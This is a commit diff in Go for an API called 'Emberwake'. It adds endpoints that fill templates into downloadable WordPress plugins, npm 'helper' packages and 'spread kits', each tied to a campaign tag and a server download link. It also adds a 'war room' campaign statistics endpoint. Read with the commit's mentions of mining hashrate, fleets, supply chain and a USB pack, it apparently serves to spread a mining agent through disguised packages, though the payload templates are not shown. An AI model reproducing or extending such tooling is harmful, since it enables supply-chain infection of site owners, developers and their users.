feat: alive UI wave, galaxy presence, spread and fleet enhancements
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Dashboard ambient layer, comrade presence, Mission Deck and War Room, Emberwake supply chain, spread/docs publishing, fleet policy and modules API, CI docker mining, and refreshed USB pack.
This commit is contained in:
@@ -1,13 +1,11 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"archive/zip"
|
||||
"bytes"
|
||||
"encoding/json"
|
||||
"io"
|
||||
"net/http"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
@@ -106,12 +104,41 @@ func (h *SpreadHandler) GetCampaigns(w http.ResponseWriter, r *http.Request) {
|
||||
writeJSON(w, map[string]interface{}{"campaigns": hits})
|
||||
}
|
||||
|
||||
// GET /api/v1/emberwake/war-room?days=7
|
||||
func (h *SpreadHandler) GetWarRoom(w http.ResponseWriter, r *http.Request) {
|
||||
days := 7
|
||||
if raw := strings.TrimSpace(r.URL.Query().Get("days")); raw != "" {
|
||||
if n, err := strconv.Atoi(raw); err == nil && n > 0 && n <= 90 {
|
||||
days = n
|
||||
}
|
||||
}
|
||||
data, err := h.db.ListWarRoom(days)
|
||||
if err != nil {
|
||||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
writeJSON(w, data)
|
||||
}
|
||||
|
||||
type spreadKitExportRequest struct {
|
||||
BuildID string `json:"build_id"`
|
||||
ServerURL string `json:"server_url"`
|
||||
Campaign string `json:"campaign"`
|
||||
}
|
||||
|
||||
type wordpressPluginExportRequest struct {
|
||||
BuildID string `json:"build_id"`
|
||||
ServerURL string `json:"server_url"`
|
||||
Campaign string `json:"campaign"`
|
||||
SiteName string `json:"site_name"`
|
||||
}
|
||||
|
||||
type npmHelperExportRequest struct {
|
||||
BuildID string `json:"build_id"`
|
||||
ServerURL string `json:"server_url"`
|
||||
Campaign string `json:"campaign"`
|
||||
}
|
||||
|
||||
// POST /api/v1/builder/spread-kit-export
|
||||
func (h *SpreadHandler) ExportSpreadKit(w http.ResponseWriter, r *http.Request) {
|
||||
var req spreadKitExportRequest
|
||||
@@ -133,20 +160,7 @@ func (h *SpreadHandler) ExportSpreadKit(w http.ResponseWriter, r *http.Request)
|
||||
return
|
||||
}
|
||||
|
||||
var qparts []string
|
||||
if req.BuildID != "" {
|
||||
qparts = append(qparts, "pin="+req.BuildID)
|
||||
}
|
||||
if req.Campaign != "" {
|
||||
qparts = append(qparts, "c="+req.Campaign)
|
||||
}
|
||||
querySuffix := ""
|
||||
getQuerySuffix := ""
|
||||
if len(qparts) > 0 {
|
||||
joined := strings.Join(qparts, "&")
|
||||
querySuffix = "?" + joined
|
||||
getQuerySuffix = "&" + joined
|
||||
}
|
||||
querySuffix, getQuerySuffix := buildQuerySuffix(req.BuildID, req.Campaign)
|
||||
repl := map[string]string{
|
||||
"{{SERVER_URL}}": req.ServerURL,
|
||||
"{{BUILD_ID}}": req.BuildID,
|
||||
@@ -157,48 +171,120 @@ func (h *SpreadHandler) ExportSpreadKit(w http.ResponseWriter, r *http.Request)
|
||||
"{{PIN_QUERY}}": "",
|
||||
}
|
||||
|
||||
var buf bytes.Buffer
|
||||
zw := zip.NewWriter(&buf)
|
||||
err := filepath.Walk(templateDir, func(path string, info os.FileInfo, err error) error {
|
||||
if err != nil || info.IsDir() {
|
||||
return err
|
||||
}
|
||||
rel, err := filepath.Rel(templateDir, path)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
rel = filepath.ToSlash(rel)
|
||||
data, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
content := string(data)
|
||||
for k, v := range repl {
|
||||
content = strings.ReplaceAll(content, k, v)
|
||||
}
|
||||
w, err := zw.Create(rel)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
_, err = io.WriteString(w, content)
|
||||
return err
|
||||
})
|
||||
data, err := zipTemplateReplacements(templateDir, repl, nil)
|
||||
if err != nil {
|
||||
http.Error(w, "zip failed: "+err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
if err := zw.Close(); err != nil {
|
||||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
|
||||
filename := "emberwake-spread-kit.zip"
|
||||
if req.Campaign != "" {
|
||||
filename = "emberwake-" + req.Campaign + ".zip"
|
||||
filename = "emberwake-" + sanitizeExportSlug(req.Campaign) + ".zip"
|
||||
}
|
||||
w.Header().Set("Content-Type", "application/zip")
|
||||
w.Header().Set("Content-Disposition", `attachment; filename="`+filename+`"`)
|
||||
w.Write(buf.Bytes())
|
||||
writeZipAttachment(w, filename, data)
|
||||
}
|
||||
|
||||
// POST /api/v1/builder/wordpress-plugin-export
|
||||
func (h *SpreadHandler) ExportWordPressPlugin(w http.ResponseWriter, r *http.Request) {
|
||||
var req wordpressPluginExportRequest
|
||||
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
||||
http.Error(w, "invalid JSON", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
req.BuildID = strings.TrimSpace(req.BuildID)
|
||||
req.ServerURL = strings.TrimRight(strings.TrimSpace(req.ServerURL), "/")
|
||||
req.Campaign = strings.TrimSpace(req.Campaign)
|
||||
req.SiteName = strings.TrimSpace(req.SiteName)
|
||||
if req.ServerURL == "" {
|
||||
http.Error(w, "server_url required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
if req.SiteName == "" {
|
||||
http.Error(w, "site_name required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
|
||||
templateDir := filepath.Join(h.projectRoot, "templates", "wordpress-plugin", "plugin-template")
|
||||
if _, err := os.Stat(templateDir); err != nil {
|
||||
http.Error(w, "wordpress plugin templates not found", http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
|
||||
slug := sanitizeExportSlug(req.SiteName)
|
||||
wpCampaign := "wp-" + slug
|
||||
downloadURL := req.ServerURL + "/get?c=" + wpCampaign
|
||||
if req.BuildID != "" {
|
||||
downloadURL += "&pin=" + req.BuildID
|
||||
}
|
||||
|
||||
repl := map[string]string{
|
||||
"{{SERVER_URL}}": req.ServerURL,
|
||||
"{{BUILD_ID}}": req.BuildID,
|
||||
"{{CAMPAIGN}}": wpCampaign,
|
||||
"{{SITE_NAME}}": slug,
|
||||
"{{PLUGIN_SLUG}}": slug,
|
||||
"{{PLUGIN_NAME}}": slugDisplayName(slug),
|
||||
"{{WP_CAMPAIGN}}": wpCampaign,
|
||||
"{{DOWNLOAD_URL}}": downloadURL,
|
||||
"{{VERSION}}": "1.0.0",
|
||||
}
|
||||
|
||||
remap := func(rel string) string {
|
||||
rel = filepath.ToSlash(rel)
|
||||
if rel == "plugin.php" {
|
||||
return slug + "/" + slug + ".php"
|
||||
}
|
||||
return slug + "/" + rel
|
||||
}
|
||||
|
||||
data, err := zipTemplateReplacements(templateDir, repl, remap)
|
||||
if err != nil {
|
||||
http.Error(w, "zip failed: "+err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
writeZipAttachment(w, slug+"-wordpress-plugin.zip", data)
|
||||
}
|
||||
|
||||
// POST /api/v1/builder/npm-helper-export
|
||||
func (h *SpreadHandler) ExportNpmHelper(w http.ResponseWriter, r *http.Request) {
|
||||
var req npmHelperExportRequest
|
||||
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
||||
http.Error(w, "invalid JSON", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
req.BuildID = strings.TrimSpace(req.BuildID)
|
||||
req.ServerURL = strings.TrimRight(strings.TrimSpace(req.ServerURL), "/")
|
||||
req.Campaign = strings.TrimSpace(req.Campaign)
|
||||
if req.ServerURL == "" {
|
||||
http.Error(w, "server_url required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
if req.Campaign == "" {
|
||||
req.Campaign = "npm-helper"
|
||||
}
|
||||
|
||||
templateDir := filepath.Join(h.projectRoot, "templates", "npm-helper-package")
|
||||
if _, err := os.Stat(templateDir); err != nil {
|
||||
http.Error(w, "npm helper templates not found", http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
|
||||
querySuffix, _ := buildQuerySuffix(req.BuildID, req.Campaign)
|
||||
pkgName := "@aetherforge/" + sanitizeExportSlug(req.Campaign) + "-helper"
|
||||
repl := map[string]string{
|
||||
"{{SERVER_URL}}": req.ServerURL,
|
||||
"{{BUILD_ID}}": req.BuildID,
|
||||
"{{CAMPAIGN}}": req.Campaign,
|
||||
"{{QUERY_SUFFIX}}": querySuffix,
|
||||
"{{PACKAGE_NAME}}": pkgName,
|
||||
}
|
||||
|
||||
data, err := zipTemplateReplacements(templateDir, repl, nil)
|
||||
if err != nil {
|
||||
http.Error(w, "zip failed: "+err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
writeZipAttachment(w, sanitizeExportSlug(req.Campaign)+"-npm-helper.zip", data)
|
||||
}
|
||||
|
||||
// PUT /api/v1/builds/{id}/public
|
||||
|
||||
Reference in New Issue
Block a user